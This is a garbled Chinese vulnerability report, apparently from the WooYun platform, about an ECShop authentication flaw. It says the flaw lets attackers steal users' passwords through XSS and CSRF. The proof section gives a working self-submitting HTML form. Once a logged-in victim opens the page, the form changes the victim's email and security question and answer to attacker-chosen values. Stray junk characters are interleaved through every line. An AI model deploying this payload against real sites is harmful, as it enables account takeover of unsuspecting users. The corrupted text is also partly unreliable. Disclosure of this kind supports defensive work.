简要描述:2 x* f" U9 E" M3 k) F. O
ecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
! ^, o! G% i" r& o7 ~' @
+ v$ Q+ ?9 G2 z4 L0 K* N& LDemo For:http://www.wooyun.org/bug.php?action=view&id=3956 u! ?! T6 U4 f: l; ?
: i, ~2 T8 }7 }( F详细说明:
5 `9 p; ~( L. n' }+ l( K5 F7 l" P利用csrf和xss可以突破官方所说的“障碍”
7 A/ f: _* Q8 F' uxss版本已经有人说明. M9 k0 k4 J; }& [2 v0 B
这里给出csrf版本
* h5 J5 j+ x/ T1 N9 G# N: R. D# y- ]# j3 v1 ?8 z! G
漏洞证明:. j0 X3 G$ p- t+ z6 J' @% `
<html>
9 B+ J8 k, y( ~; P+ S<body>( G! ] }( ?, P+ x6 D4 a) b- C
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">" c' r8 f% x; u/ O& t! F
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
8 N. U3 x6 Y, x }<INPUT TYPE="text" NAME="act" value="act_edit_profile">' i. s1 M0 I5 f
<INPUT TYPE="text" NAME="sel_question" value="ecshop">. {# u3 I* H/ X! y5 H
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">% `0 j# {0 {7 p
</body>
- ^! y- P# m) e& Z2 ^) B<script>
: Q& a9 J( C V! R& jdocument.forms[0].submit();
" n' p1 z" N t, c) T" n' t# {* I</script>6 H9 n1 S! P0 {8 k
</html># M1 q) {3 v! R
构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失 q% S4 @0 z) x6 Q, e
' x; ~0 p# g* N' k2 m C |